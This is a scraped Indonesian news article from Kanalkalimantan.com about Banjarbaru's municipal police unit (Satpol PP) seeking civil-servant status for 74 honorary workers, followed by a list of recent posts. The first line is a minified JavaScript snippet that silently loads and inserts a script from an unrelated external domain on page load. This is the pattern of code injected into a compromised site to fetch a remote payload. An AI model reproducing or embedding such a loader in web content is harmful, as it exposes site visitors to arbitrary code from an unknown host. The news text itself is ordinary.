(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Satpol PP Banjarbaru Perjuangkan Tenaga Honorer Untuk Diangkat ASN


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Pusat mengeluarkan kebijakan tentang peniadaan tenaga honorer dengan batas akhir tahun 2023. Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru mengajukan 74 orang tenaga honorer untuk diangkat menjadi Aparatur Sipil Negara (ASN) di lingkup Pemerintah Kota Banjarbaru.

Menanggapi hal tersebut, Kepala Satpol PP Kota Banjarbaru, Hidayaturahman mengatakan sudah melakukan pendataan kepada seluruh anggotanya yang berstatus honorer.

“Disini tenaga honorer ada 78 orang dan kami fasilitasi untuk melengkapi data, kemudian ada 74 yang sudah masuk, 4 sisanya tidak memenuhi syarat,” katanya, Rabu (14/9/2022)

Meski belum diketahui kebutuhan jumlah formasi, namun Dayat optimis puluhan tenaga honorer itu bisa lolos sebagai ASN.

 

Baca juga : Rp51 Milliar Digelontoran untuk Bank Kalsel, DPRD HSU Setujui 2 Raperda Baru

“Pendataan hingga penginputan sudah dilakukan, kami mengharapkan mereka menjadi ASN, kami juga sudah berkirim surat melalui Wali Kota ke Kemenpan-RB untuk menyampaikan data tenaga non-ASN dan kami meminta untuk diberikan formasi ASN,” ungkapnya.

Dayat membeberkan memperjuangkan tenaga honorer yang ada di Satuannya untuk menjadi ASN.

“Kami menyampaikan data mereka untuk diangkat menjadi ASN, tapi kalau formasi mereka memungkinkan di PPPK, enggak papa yang penting mereka bisa diberdayakan,” bebernya.

Menurutnya, outsourcing ini merupakan pilihan paling akhir.

 

Baca juga : Salah Gunakan Dana Pilkada 2020, Eks Bendahara Bawaslu Banjar Jalani Sidang Lanjutan

“Ya itu pilihan terakhir dari pemerintah daerah, apakah itu outsourcing, ASN atau PPPK,” tuntasnya.

Diketahui regulasi yang mengatur Satpol PP ada di Peraturan Pemerintah (PP) Nomor 16 Tahun 2018 tentang Satuan Polisi Pamong Praja (Satpol PP).

PP nomor 16 Tahun 2018 Pasal 1 angka 2 disebutkan, Polisi Pamong Praja yang selanjutnya disebut Pol PP adalah anggota Satpol PP sebagai aparat Pemerintah Daerah yang diduduki oleh pegawai negeri sipil dan diberi tugas, tanggung jawab, dan wewenang sesuai dengan peraturan perundang-undangan dalam penegakan Peraturan Daerah dan Peraturan Kepala Daerah, penyelenggaraan ketertiban umum dan ketenteraman serta pelindungan masyarakat.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : cell


Desy Arfianty

Recent Posts

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

13 jam ago

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

16 jam ago

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

19 jam ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

21 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

21 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

22 jam ago

This website uses cookies.